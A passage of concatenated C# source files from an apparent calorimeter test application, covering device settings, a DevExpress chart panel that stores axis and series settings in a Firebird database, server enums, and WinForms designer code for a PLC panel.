public string DisplayName { get; set; }
/// <summary>
/// 디바이스 종류
/// </summary>
[JsonConverter(typeof(StringEnumConverter))]
public DeviceKind DeviceKind { get; set; }
/// <summary>
/// 디바이스 클래스
/// </summary>
public string DeviceClass { get; set; }
/// <summary>
/// 디바이스 연결문자
/// </summary>
public string ConnectionString { get; set; }
/// <summary>
/// 연결 대기 시간(ms)
/// </summary>
public int ConnectionTimeout { get; set; }
/// <summary>
/// 수신 대기 시간(ms)
/// </summary>
public int ReceivedTimeout { get; set; }
public int[] Addresses { get; set; }
public int? Channels { get; set; }
public Dictionary<string, object> Properties { get; set; } = new Dictionary<string, object>();
}
/// <summary>
/// 디바이스 종류
/// </summary>
public enum DeviceKind
{
None,
All,
//Controller, //* 컨트롤러 수정
PLC,
PowerMeter,
Recorder
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.XtraCharts;
using DevExpress.XtraGrid.Views.Base;
using DevExpress.XtraGrid.Views.Grid;
using DevExpress.XtraGrid.Views.Grid.ViewInfo;
using FirebirdSql.Data.FirebirdClient;
using Ulee.Chart;
using Ulee.Controls;
using Ulee.Utils;
namespace Hnc.Calorimeter.Client
{
public partial class CtrlViewGraphPanel : UlUserControlEng
{
public CtrlViewGraphPanel(int index, ConditionMethod method, UlDoubleBufferedSeriesCollection series)
{
InitializeComponent();
Index = index;
Method = method;
Initialize(series);
}
public int Index { get; set; }
public UlDoubleBufferedLineChart ViewGraph { get { return viewGraph; } }
public ConditionMethod Method { get; set; }
public List<YAxisRow> YAxisRows { get; private set; }
public List<SeriesRow> PlotSeriesRows { get; private set; }
public double MaxRangeAxisX { get; set; }
public bool InvisibleUnchecked { get; set; }
private bool seriesChecked { get; set; }
private void Initialize(UlDoubleBufferedSeriesCollection series)
{
zoomAxisCombo.SelectedIndex = 0;
viewGraph.Series.Clear();
viewGraph.BackColor = Color.White;
viewGraph.LegendFont = new Font("Arial", 7, FontStyle.Regular);
viewGraph.SetBufferedSeries(series);
viewGraph.SetPrimaryAxisX(AxisAlignment.Near, "Time", StringAlignment.Center, 0, 60000);
InitializeYAxes();
LoadYAxes();
foreach (YAxisRow row in YAxisRows)
{
AxisAlignment align = (row.Align == EAxisAlign.Left) ? AxisAlignment.Near : AxisAlignment.Far;
if (row.AxisNo == 0)
viewGraph.SetPrimaryAxisY(align, row.DescriptionUnit, StringAlignment.Far, row.WholeMin, row.WholeMax);
else
viewGraph.AddSecondaryAxisY(align, row.DescriptionUnit, StringAlignment.Far, row.WholeMin, row.WholeMax);
}
InitializePlotSeries();
LoadPlotSeries();
viewGraph.Prepare();
viewGraph.SetGridLinesAxisX(true);
viewGraph.SetGridLinesAxisY(true);
foreach (SeriesRow row in PlotSeriesRows)
{
viewGraph.Series[row.Name].View.Color = row.Color;
viewGraph.Series[row.Name].Visible = row.Checked;
viewGraph.SetSeriesAxisY(row.Name, GetIndexAxisY(row.UnitType));
}
foreach (YAxisRow row in YAxisRows)
{
viewGraph.AxesY[row.AxisNo].Visibility =
(row.Checked == true) ? DefaultBoolean.True : DefaultBoolean.False;
}
viewGraph.MarkLine.ShowValueMarkPoint += DoShowValueMarkPoint;
viewGraph.MarkLine.Visible = false;
viewGraph.Zooming.ZoomStackChanged += DoZoomStackChanged;
viewGraph.Zooming.Clear();
plotSeriesGrid.DataSource = PlotSeriesRows;
plotSeriesGrid.UseDirectXPaint = DefaultBoolean.False;
plotSeriesGridView.Columns["Checked"].ImageOptions.ImageIndex = 1;
plotSeriesGridView.Appearance.EvenRow.BackColor = Color.FromArgb(244, 244, 236);
plotSeriesGridView.OptionsView.EnableAppearanceEvenRow = true;
SetCursorAColumnVisible(false);
SetCursorBColumnVisible(false);
plotSeriesGridView.RefreshData();
}
private void CtrlViewGraphPanel_Enter(object sender, EventArgs e)
{
}
private void CtrlViewGraphPanel_Leave(object sender, EventArgs e)
{
}
private void DoShowValueMarkPoint(object sender, ShowValueMarkPointEventArgs e)
{
int i = 0;
Axis2D axis = viewGraph.AxesX[0];
if ((e.Visible == false) || ((e.ValueA < 0) && (e.ValueB < 0)))
{
SetCursorAColumnVisible(false);
SetCursorBColumnVisible(false);
RefreshGrid();
return;
}
int indexA = (int)(e.ValueA / viewGraph.BaseTime);
int indexB = (int)(e.ValueB / viewGraph.BaseTime);
if ((viewGraph.BufferedSeries.PointsCount < indexA + 1) &&
(viewGraph.BufferedSeries.PointsCount < indexB + 1))
{
SetCursorAColumnVisible(false);
SetCursorBColumnVisible(false);
RefreshGrid();
return;
}
if (viewGraph.BufferedSeries.PointsCount < indexB + 1)
{
viewGraph.BufferedSeries.Lock();
try
{
foreach (KeyValuePair<string, ValueRow> row in Resource.Variables.Graph)
{
string format = row.Value.Format;
float cursorA = viewGraph.BufferedSeries[row.Key].Points[indexA];
SetCursorValue(i++, cursorA.ToString(format), "0", "0", "0", "0", "0");
}
}
finally
{
viewGraph.BufferedSeries.Unlock();
}
SetCursorAColumnVisible(true);
SetCursorBColumnVisible(false);
SetCursorColumnVisibleIndex();
RefreshGrid();
return;
}
if (viewGraph.BufferedSeries.PointsCount < indexA + 1)
{
viewGraph.BufferedSeries.Lock();
try
{
foreach (KeyValuePair<string, ValueRow> row in Resource.Variables.Graph)
{
string format = row.Value.Format;
float cursorB = viewGraph.BufferedSeries[row.Key].Points[indexB];
SetCursorValue(i++, "0", cursorB.ToString(format), "0", "0", "0", "0");
}
}
finally
{
viewGraph.BufferedSeries.Unlock();
}
SetCursorAColumnVisible(false);
SetCursorBColumnVisible(true);
SetCursorColumnVisibleIndex();
RefreshGrid();
return;
}
viewGraph.BufferedSeries.Lock();
try
{
foreach (KeyValuePair<string, ValueRow> row in Resource.Variables.Graph)
{
string format = row.Value.Format;
float cursorA, cursorB, diff, min, max, avg;
cursorA = viewGraph.BufferedSeries[row.Key].Points[indexA];
cursorB = viewGraph.BufferedSeries[row.Key].Points[indexB];
diff = Math.Abs(cursorA - cursorB);
CalcMinMaxAvg(viewGraph.BufferedSeries[row.Key].Points, indexA, indexB, out min, out max, out avg);
SetCursorValue(i++, cursorA.ToString(format), cursorB.ToString(format),
diff.ToString(format), min.ToString(format), max.ToString(format), avg.ToString(format));
}
SetCursorAColumnVisible(true);
SetCursorBColumnVisible(true);
SetCursorColumnVisibleIndex();
RefreshGrid();
}
finally
{
viewGraph.BufferedSeries.Unlock();
}
}
private void DoZoomStackChanged(object sender, ZoomStackChangedEventArgs e)
{
if (this.InvokeRequired == true)
{
ZoomStackChangedEventHandler func = new ZoomStackChangedEventHandler(DoZoomStackChanged);
this.BeginInvoke(func, new object[] { sender, e });
}
else
{
undoButton.Enabled = (e.Value > 0) ? true : false;
resetButton.Enabled = (e.Value > 0) ? true : false;
}
}
private void yAxesSettingButton_Click(object sender, EventArgs e)
{
if (viewGraph.BufferedSeries.PointsCount == 0) return;
for (int i = 0; i < viewGraph.AxesY.Count; i++)
{
YAxisRows[i].WholeMin = 0;
YAxisRows[i].WholeMax = 0;
}
FormYAxesSetting form = new FormYAxesSetting(YAxisRows);
if (form.ShowDialog() == DialogResult.OK)
{
if (form.GetYAxesCheckedCount() == 0)
{
MessageBox.Show("You must check Y-Axis over one!",
Resource.Caption, MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
return;
}
if (form.GetYAxesCheckedCount() > 12)
{
MessageBox.Show("You must check Y-Axis under 12!",
Resource.Caption, MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
return;
}
bool resetZoom = false;
Cursor = Cursors.WaitCursor;
try
{
foreach (YAxisRow row in form.Axes)
{
YAxisRows[row.AxisNo].Checked = row.Checked;
YAxisRows[row.AxisNo].Align = row.Align;
Axis2D axis = viewGraph.AxesY[row.AxisNo];
axis.Alignment = (row.Align == EAxisAlign.Left) ? AxisAlignment.Near : AxisAlignment.Far;
axis.Visibility = (row.Checked == true) ? DefaultBoolean.True : DefaultBoolean.False;
YAxisRows[row.AxisNo].VisualMin = (float)((double)axis.WholeRange.MinValue);
YAxisRows[row.AxisNo].VisualMax = (float)((double)axis.WholeRange.MaxValue);
YAxisRows[row.AxisNo].WholeMin = (float)((double)axis.WholeRange.MinValue);
YAxisRows[row.AxisNo].WholeMax = (float)((double)axis.WholeRange.MaxValue);
if ((row.WholeMin != 0) || (row.WholeMax != 0))
{
if (row.WholeMin < row.WholeMax)
{
resetZoom = true;
YAxisRows[row.AxisNo].VisualMin = row.WholeMin;
YAxisRows[row.AxisNo].VisualMax = row.WholeMax;
YAxisRows[row.AxisNo].WholeMin = row.WholeMin;
YAxisRows[row.AxisNo].WholeMax = row.WholeMax;
axis.WholeRange.MinValue = row.WholeMin;
axis.WholeRange.MaxValue = row.WholeMax;
axis.VisualRange.MinValue = row.WholeMin;
axis.VisualRange.MaxValue = row.WholeMax;
}
}
}
if (resetZoom == true)
{
ViewGraph.Zooming.Clear();
Axis2D axis = viewGraph.AxesX[0];
double wholeMin = (double)axis.WholeRange.MinValue;
double wholeMax = (double)axis.WholeRange.MaxValue;
double visualMin = (double)axis.VisualRange.MinValue;
double visualMax = (double)axis.VisualRange.MaxValue;
if ((wholeMin != visualMin) || (wholeMax != visualMax))
{
EZoomAxis zoomAxis = viewGraph.Zooming.ZoomAxis;
SetMaxRangeAxisX(MaxRangeAxisX);
viewGraph.Zooming.ZoomAxis = EZoomAxis.Both;
viewGraph.Zooming.Push();
viewGraph.Zooming.ZoomAxis = zoomAxis;
viewGraph.VisualRangeChanging = true;
axis.WholeRange.MinValue = wholeMin;
axis.WholeRange.MaxValue = wholeMax;
axis.VisualRange.MinValue = visualMin;
axis.VisualRange.MaxValue = visualMax;
viewGraph.VisualRangeChanging = false;
}
}
viewGraph.InvalidateSeries();
InsertYAxes();
}
finally
{
Cursor = Cursors.Default;
}
}
}
private void applyButton_Click(object sender, EventArgs e)
{
if (viewGraph.BufferedSeries.PointsCount == 0) return;
if (IsAllSeriesInvisibled() == true)
{
MessageBox.Show("You must check plot series over one!",
Resource.Caption, MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
return;
}
Cursor = Cursors.WaitCursor;
try
{
foreach (SeriesRow row in PlotSeriesRows)
{
viewGraph.Series[row.Name].View.Color = row.Color;
viewGraph.Series[row.Name].Visible = row.Checked;
}
viewGraph.InvalidateSeries();
InsertSeries();
}
finally
{
Cursor = Cursors.Default;
}
}
private bool IsAllSeriesInvisibled()
{
foreach (SeriesRow row in PlotSeriesRows)
{
if (row.Checked == true) return false;
}
return true;
}
private void zoomAxisCombo_SelectedIndexChanged(object sender, EventArgs e)
{
if (viewGraph.Zooming == null) return;
viewGraph.Zooming.ZoomAxis = (EZoomAxis)zoomAxisCombo.SelectedIndex;
}
private void cursorButton_Click(object sender, EventArgs e)
{
viewGraph.MarkLine.Visible = !viewGraph.MarkLine.Visible;
}
private void autosetButton_Click(object sender, EventArgs e)
{
if (viewGraph.BufferedSeries.PointsCount == 0) return;
Cursor = Cursors.WaitCursor;
try
{
viewGraph.Description.Reset();
viewGraph.VertCursor.Reset();
viewGraph.Zooming.ZoomAxis = EZoomAxis.AxisY;
viewGraph.Zooming.AutoSet(0, 2);
viewGraph.Zooming.ZoomAxis = (EZoomAxis)zoomAxisCombo.SelectedIndex;
}
finally
{
Cursor = Cursors.Default;
}
}
private void stackButton_Click(object sender, EventArgs e)
{
if (viewGraph.BufferedSeries.PointsCount == 0) return;
Cursor = Cursors.WaitCursor;
try
{
viewGraph.Description.Reset();
viewGraph.VertCursor.Reset();
viewGraph.Zooming.ZoomAxis = EZoomAxis.AxisY;
viewGraph.Zooming.Stack();
viewGraph.Zooming.ZoomAxis = (EZoomAxis)zoomAxisCombo.SelectedIndex;
}
finally
{
Cursor = Cursors.Default;
}
}
private void undoButton_Click(object sender, EventArgs e)
{
if (viewGraph.BufferedSeries.PointsCount == 0) return;
Cursor = Cursors.WaitCursor;
try
{
viewGraph.Description.Reset();
viewGraph.VertCursor.Reset();
viewGraph.Zooming.Out();
}
finally
{
Cursor = Cursors.Default;
}
}
private void resetButton_Click(object sender, EventArgs e)
{
if (viewGraph.BufferedSeries.PointsCount == 0) return;
Cursor = Cursors.WaitCursor;
try
{
viewGraph.Description.Reset();
viewGraph.VertCursor.Reset();
viewGraph.Zooming.Reset();
SetMaxRangeAxisX(MaxRangeAxisX);
}
finally
{
Cursor = Cursors.Default;
}
}
private void hideUncheckedCheck_CheckedChanged(object sender, EventArgs e)
{
plotSeriesGridView.RefreshData();
plotSeriesGridView.FocusedRowHandle = 0;
}
private void plotSeriesGridView_MouseDown(object sender, MouseEventArgs e)
{
GridView view = sender as GridView;
GridHitInfo hit = view.CalcHitInfo(e.Location);
if (hit == null) return;
switch (hit.HitTest)
{
case GridHitTest.Column:
if (hit.Column.FieldName == "Checked")
{
seriesChecked = !seriesChecked;
SetSeriesCheckColumn(view);
}
break;
}
}
private void plotSeriesGridView_CustomDrawColumnHeader(object sender, ColumnHeaderCustomDrawEventArgs e)
{
if (e.Column == null) return;
if (e.Column.FieldName == "Checked")
{
Image image = (seriesChecked == true) ? imageList.Images[1] : imageList.Images[0];
e.DefaultDraw();
e.Cache.DrawImage(image,
new Rectangle(e.Bounds.X + (e.Bounds.Width - image.Size.Width) / 2,
e.Bounds.Y + (e.Bounds.Height - image.Size.Height) / 2 - 1,
image.Size.Width, image.Size.Height));
e.Handled = true;
}
}
private void plotSeriesGridView_CustomRowFilter(object sender, RowFilterEventArgs e)
{
ColumnView view = sender as ColumnView;
if (hideUncheckedCheck.Checked == true)
{
e.Visible = (bool)view.GetListSourceRowCellValue(e.ListSourceRow, "Checked");
e.Handled = true;
}
}
private void InitializeYAxes()
{
int i = 0;
string unit = "None";
string airFlowUnit = UnitQuery.GetUnitDescription(EUnitType.AirFlow, (int)Method.AirFlow);
string capacityUnit = UnitQuery.GetUnitDescription(EUnitType.Capacity, (int)Method.CoolingCapacity);
string enthalpyUnit = UnitQuery.GetUnitDescription(EUnitType.Enthalpy, (int)Method.Enthalpy);
string temperatureUnit = UnitQuery.GetUnitDescription(EUnitType.Temperature, (int)Method.Temperature);
string pressureUnit = UnitQuery.GetUnitDescription(EUnitType.Pressure, (int)Method.Pressure);
string diffPressureUnit = UnitQuery.GetUnitDescription(EUnitType.DiffPressure, (int)Method.DiffPressure);
string atmPressureUnit = UnitQuery.GetUnitDescription(EUnitType.AtmPressure, (int)Method.AtmPressure);
YAxisRows = new List<YAxisRow>();
foreach (EUnitType unitType in Enum.GetValues(typeof(EUnitType)))
{
if (unitType == EUnitType.None) continue;
if (unitType == EUnitType.Time) continue;
switch (unitType)
{
case EUnitType.Current:
case EUnitType.Voltage:
case EUnitType.Frequency:
case EUnitType.Flux:
case EUnitType.Ratio:
case EUnitType.HumidityRatio:
case EUnitType.Power:
case EUnitType.PowerComsumption:
case EUnitType.Velocity:
case EUnitType.Volume:
unit = UnitQuery.GetUnitDescription(unitType);
break;
case EUnitType.AirFlow:
unit = airFlowUnit;
break;
case EUnitType.Capacity:
case EUnitType.EER_COP:
unit = capacityUnit;
break;
case EUnitType.Enthalpy:
case EUnitType.Heat:
unit = enthalpyUnit;
break;
case EUnitType.Temperature:
unit = temperatureUnit;
break;
case EUnitType.Pressure:
unit = pressureUnit;
break;
case EUnitType.DiffPressure:
unit = diffPressureUnit;
break;
case EUnitType.AtmPressure:
unit = atmPressureUnit;
break;
}
YAxisRows.Add(new YAxisRow(-1, i++, false, EAxisAlign.Left,
unitType.ToString(), unitType.ToDescription(), unit, -100, 100, -100, 100));
}
YAxisRows[0].Checked = true;
YAxisRows[1].Checked = true;
YAxisRows[2].Checked = true;
}
private void LoadYAxes()
{
Resource.ViewDB.Lock();
try
{
YAxisSettingDataSet set = Resource.ViewDB.YAxisSettingSet;
set.Ip = Resource.Ip;
set.Mode = 1;
set.GraphNo = Index;
set.Select();
if (set.GetRowCount() > 0)
{
if (YAxisRows.Count != set.GetRowCount())
{
Resource.TLog.Log((int)ELogItem.Error, "Y-Axes count is mismatched in CtrlViewGraphPanel.LoadYAxes");
}
else
{
for (int i = 0; i < set.GetRowCount(); i++)
{
set.Fetch(i);
YAxisRows[i].RecNo = set.RecNo;
YAxisRows[i].Align = set.Align;
YAxisRows[i].Checked = set.Checked;
YAxisRows[i].VisualMin = set.VisualMin;
YAxisRows[i].VisualMax = set.VisualMax;
YAxisRows[i].WholeMin = set.WholeMin;
YAxisRows[i].WholeMax = set.WholeMax;
}
}
}
}
finally
{
Resource.ViewDB.Unlock();
}
}
private void InitializePlotSeries()
{
int color = (int)KnownColor.AliceBlue;
PlotSeriesRows = new List<SeriesRow>();
foreach (KeyValuePair<string, ValueRow> row in Resource.Variables.Graph)
{
if (row.Value.Unit.Type == EUnitType.Time) continue;
PlotSeriesRows.Add(new SeriesRow(-1, false, row.Key, row.Value.Format, row.Value.Unit.Type.ToString(),
row.Value.Unit.ToDescription, Color.FromKnownColor((KnownColor)color)));
if ((KnownColor)color == KnownColor.YellowGreen) color = (int)KnownColor.AliceBlue;
else color++;
}
PlotSeriesRows[0].Checked = true;
PlotSeriesRows[1].Checked = true;
PlotSeriesRows[2].Checked = true;
}
private void LoadPlotSeries()
{
Resource.ViewDB.Lock();
try
{
SeriesSettingDataSet set = Resource.ViewDB.SeriesSettingSet;
set.Ip = Resource.Ip;
set.Mode = 1;
set.GraphNo = Index;
set.Select();
if (set.GetRowCount() > 0)
{
if (PlotSeriesRows.Count != set.GetRowCount())
{
Resource.TLog.Log((int)ELogItem.Error, "Plot series count is mismatched in CtrlViewGraphPanel.LoadPlotSeries");
}
else
{
for (int i = 0; i < set.GetRowCount(); i++)
{
set.Fetch(i);
PlotSeriesRows[i].RecNo = set.RecNo;
PlotSeriesRows[i].Checked = set.Checked;
PlotSeriesRows[i].Color = set.Color;
}
plotSeriesGridView.RefreshData();
}
}
}
finally
{
Resource.ViewDB.Unlock();
}
}
private void SetSeriesCheckColumn(GridView view)
{
if (view.RowCount < 1) return;
view.BeginUpdate();
try
{
view.Columns["Checked"].ImageOptions.ImageIndex = (seriesChecked == false) ? 0 : 1;
for (int i = 0; i < view.RowCount; i++)
{
(view.GetRow(i) as SeriesRow).Checked = seriesChecked;
}
}
finally
{
view.EndUpdate();
}
}
public void SetMaxRangeAxisX(double max)
{
MaxRangeAxisX = max;
Axis2D axis = viewGraph.AxesX[0];
viewGraph.VisualRangeChanging = true;
axis.WholeRange.SetMinMaxValues(0, max);
axis.VisualRange.SetMinMaxValues(0, max);
viewGraph.VisualRangeChanging = false;
}
public void RefreshYAxesUnit()
{
string unit;
string airFlowUnit = UnitQuery.GetUnitDescription(EUnitType.AirFlow, (int)Method.AirFlow);
string capacityUnit = UnitQuery.GetUnitDescription(EUnitType.Capacity, (int)Method.CoolingCapacity);
string enthalpyUnit = UnitQuery.GetUnitDescription(EUnitType.Enthalpy, (int)Method.Enthalpy);
string temperatureUnit = UnitQuery.GetUnitDescription(EUnitType.Temperature, (int)Method.Temperature);
string pressureUnit = UnitQuery.GetUnitDescription(EUnitType.Pressure, (int)Method.Pressure);
string diffPressureUnit = UnitQuery.GetUnitDescription(EUnitType.DiffPressure, (int)Method.DiffPressure);
string atmPressureUnit = UnitQuery.GetUnitDescription(EUnitType.AtmPressure, (int)Method.AtmPressure);
foreach (YAxisRow row in YAxisRows)
{
unit = "";
switch (row.Name)
{
case "AirFlow":
unit = airFlowUnit;
break;
case "Capacity":
case "EER_COP":
unit = capacityUnit;
break;
case "Enthalpy":
case "Heat":
unit = enthalpyUnit;
break;
case "Temperature":
unit = temperatureUnit;
break;
case "Pressure":
unit = pressureUnit;
break;
case "DiffPressure":
unit = diffPressureUnit;
break;
case "AtmPressure":
unit = atmPressureUnit;
break;
}
row.Unit = (unit == "") ? row.Unit : unit;
}
foreach (YAxisRow row in YAxisRows)
{
viewGraph.AxesY[row.AxisNo].Title.Text = row.DescriptionUnit;
}
}
public void SetPlotSeriesUnit(int index, EUnitType type, int unit)
{
PlotSeriesRows[index].UnitFrom =
UnitQuery.GetUnitDescription(type, unit);
}
public void InsertYAxes()
{
Resource.ViewDB.Lock();
FbTransaction trans = Resource.ViewDB.BeginTrans();
try
{
YAxisSettingDataSet yAxisSet = Resource.ViewDB.YAxisSettingSet;
for (int i = 0; i < YAxisRows.Count; i++)
{
YAxisRow row = YAxisRows[i];
yAxisSet.Ip = Resource.Ip;
yAxisSet.Mode = 1;
yAxisSet.GraphNo = Index;
yAxisSet.Checked = row.Checked;
yAxisSet.Align = row.Align;
yAxisSet.Name = row.Name;
yAxisSet.Desc = row.Description;
yAxisSet.Unit = row.Unit;
yAxisSet.VisualMin = row.VisualMin;
yAxisSet.VisualMax = row.VisualMax;
yAxisSet.WholeMin = row.WholeMin;
yAxisSet.WholeMax = row.WholeMax;
if (row.RecNo == -1)
{
row.RecNo = (int)Resource.ViewDB.GetGenNo("GN_YAXISSETTING");
yAxisSet.RecNo = row.RecNo;
yAxisSet.Insert(trans);
}
else
{
yAxisSet.RecNo = row.RecNo;
yAxisSet.Update(trans);
}
}
Resource.ViewDB.CommitTrans();
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
Resource.ViewDB.RollbackTrans();
}
finally
{
Resource.ViewDB.Unlock();
}
}
private void InsertSeries()
{
Resource.ViewDB.Lock();
FbTransaction trans = Resource.ViewDB.BeginTrans();
try
{
SeriesSettingDataSet seriesSet = Resource.ViewDB.SeriesSettingSet;
for (int i = 0; i < PlotSeriesRows.Count; i++)
{
SeriesRow row = PlotSeriesRows[i];
seriesSet.Ip = Resource.Ip;
seriesSet.Mode = 1;
seriesSet.GraphNo = Index;
seriesSet.Checked = row.Checked;
seriesSet.Color = row.Color;
seriesSet.Name = row.Name;
seriesSet.UnitType = row.UnitType;
if (row.RecNo == -1)
{
row.RecNo = (int)Resource.ViewDB.GetGenNo("GN_SERIESSETTING");
seriesSet.RecNo = row.RecNo;
seriesSet.Insert(trans);
}
else
{
seriesSet.RecNo = row.RecNo;
seriesSet.Update(trans);
}
}
Resource.ViewDB.CommitTrans();
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
Resource.ViewDB.RollbackTrans();
}
finally
{
Resource.ViewDB.Unlock();
}
}
private void CalcMinMaxAvg(UlBlockList<float> blockList, int from, int to, out float min, out float max, out float avg)
{
float value, total = 0;
min = float.MaxValue;
max = float.MinValue;
if (from > to)
{
int nTemp = to;
to = from;
from = nTemp;
}
for (int i = from; i <= to; i++)
{
value = blockList[i];
total += value;
if (value < min) min = value;
if (value > max) max = value;
}
avg = total / (to - from + 1);
}
public void SetSeriesValue(int index, string value)
{
PlotSeriesRows[index].Value = value;
}
private void SetCursorValue(int index, string valueA, string valueB, string diff, string min, string max, string avg)
{
PlotSeriesRows[index].CursorA = valueA;
PlotSeriesRows[index].CursorB = valueB;
PlotSeriesRows[index].Diff = diff;
PlotSeriesRows[index].Min = min;
PlotSeriesRows[index].Max = max;
PlotSeriesRows[index].Avg = avg;
}
private void SetCursorAColumnVisible(bool visible)
{
psCursorAColumn.Visible = visible;
if ((psCursorAColumn.Visible == true) && (psCursorBColumn.Visible == true))
visible = true;
else
visible = false;
psDiffColumn.Visible = visible;
psMinColumn.Visible = visible;
psMaxColumn.Visible = visible;
psAvgColumn.Visible = visible;
}
private void SetCursorBColumnVisible(bool visible)
{
psCursorBColumn.Visible = visible;
if ((psCursorAColumn.Visible == true) && (psCursorBColumn.Visible == true))
visible = true;
else
visible = false;
psDiffColumn.Visible = visible;
psMinColumn.Visible = visible;
psMaxColumn.Visible = visible;
psAvgColumn.Visible = visible;
}
private void SetCursorColumnVisibleIndex()
{
if ((psCursorAColumn.Visible == true) && (psCursorBColumn.Visible == true))
{
psCursorAColumn.VisibleIndex = 4;
psCursorBColumn.VisibleIndex = 5;
psDiffColumn.VisibleIndex = 6;
psMinColumn.VisibleIndex = 7;
psMaxColumn.VisibleIndex = 8;
psAvgColumn.VisibleIndex = 9;
psUnitColumn.VisibleIndex = 10;
return;
}
if (psCursorAColumn.Visible == true)
{
psCursorAColumn.VisibleIndex = 4;
return;
}
if (psCursorBColumn.Visible == true)
{
psCursorBColumn.VisibleIndex = 4;
return;
}
}
public int GetIndexAxisY(string name)
{
int axisNo = -1;
foreach (YAxisRow row in YAxisRows)
{
if (row.Name == name)
{
axisNo = row.AxisNo;
break;
}
}
return axisNo;
}
public void RefreshGrid()
{
plotSeriesGridView.RefreshData();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Hnc.Calorimeter.Server
{
public enum EClientState
{ Observation, Idle, Preparation, Stabilization, Integration }
public enum EUserAuthority
{ Maker, Admin, Operator, Viewer }
public enum EValueType
{ Raw, Real }
public enum ELogItem
{ Note, Error, Exception }
public delegate void DefaultHandler();
class AuthorityTypeFmt : IFormatProvider, ICustomFormatter
{
public AuthorityTypeFmt()
{
}
public object GetFormat(Type type)
{
return this;
}
public string Format(string formatString, object arg, IFormatProvider formatProvider)
{
int value = Convert.ToInt16(arg);
string typeString = value.ToString();
switch (value)
{
case 0:
typeString = "Maker";
break;
case 1:
typeString = "Admin";
break;
case 2:
typeString = "Operator";
break;
case 3:
typeString = "Viewer";
break;
}
return typeString;
}
}
}
<file_sep>namespace Hnc.Calorimeter.Client
{
partial class CtrlDevicePlc
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Component Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.view1Panel = new Ulee.Controls.UlPanel();
this.view2Panel = new Ulee.Controls.UlPanel();
this.view4Panel = new Ulee.Controls.UlPanel();
this.view3Panel = new Ulee.Controls.UlPanel();
this.bgPanel.SuspendLayout();
this.SuspendLayout();
//
// bgPanel
//
this.bgPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.bgPanel.Controls.Add(this.view4Panel);
this.bgPanel.Controls.Add(this.view3Panel);
this.bgPanel.Controls.Add(this.view2Panel);
this.bgPanel.Controls.Add(this.view1Panel);
this.bgPanel.Size = new System.Drawing.Size(1816, 915);
//
// view1Panel
//
this.view1Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view1Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view1Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view1Panel.InnerColor2 = System.Drawing.Color.White;
this.view1Panel.Location = new System.Drawing.Point(0, 0);
this.view1Panel.Name = "view1Panel";
this.view1Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view1Panel.OuterColor2 = System.Drawing.Color.White;
this.view1Panel.Size = new System.Drawing.Size(450, 915);
this.view1Panel.Spacing = 0;
this.view1Panel.TabIndex = 0;
this.view1Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view1Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view2Panel
//
this.view2Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view2Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view2Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view2Panel.InnerColor2 = System.Drawing.Color.White;
this.view2Panel.Location = new System.Drawing.Point(455, 0);
this.view2Panel.Name = "view2Panel";
this.view2Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view2Panel.OuterColor2 = System.Drawing.Color.White;
this.view2Panel.Size = new System.Drawing.Size(450, 915);
this.view2Panel.Spacing = 0;
this.view2Panel.TabIndex = 1;
this.view2Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view2Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view4Panel
//
this.view4Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view4Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view4Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view4Panel.InnerColor2 = System.Drawing.Color.White;
this.view4Panel.Location = new System.Drawing.Point(1365, 0);
this.view4Panel.Name = "view4Panel";
this.view4Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view4Panel.OuterColor2 = System.Drawing.Color.White;
this.view4Panel.Size = new System.Drawing.Size(451, 915);
this.view4Panel.Spacing = 0;
this.view4Panel.TabIndex = 3;
this.view4Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view4Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view3Panel
//
this.view3Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view3Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view3Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view3Panel.InnerColor2 = System.Drawing.Color.White;
this.view3Panel.Location = new System.Drawing.Point(910, 0);
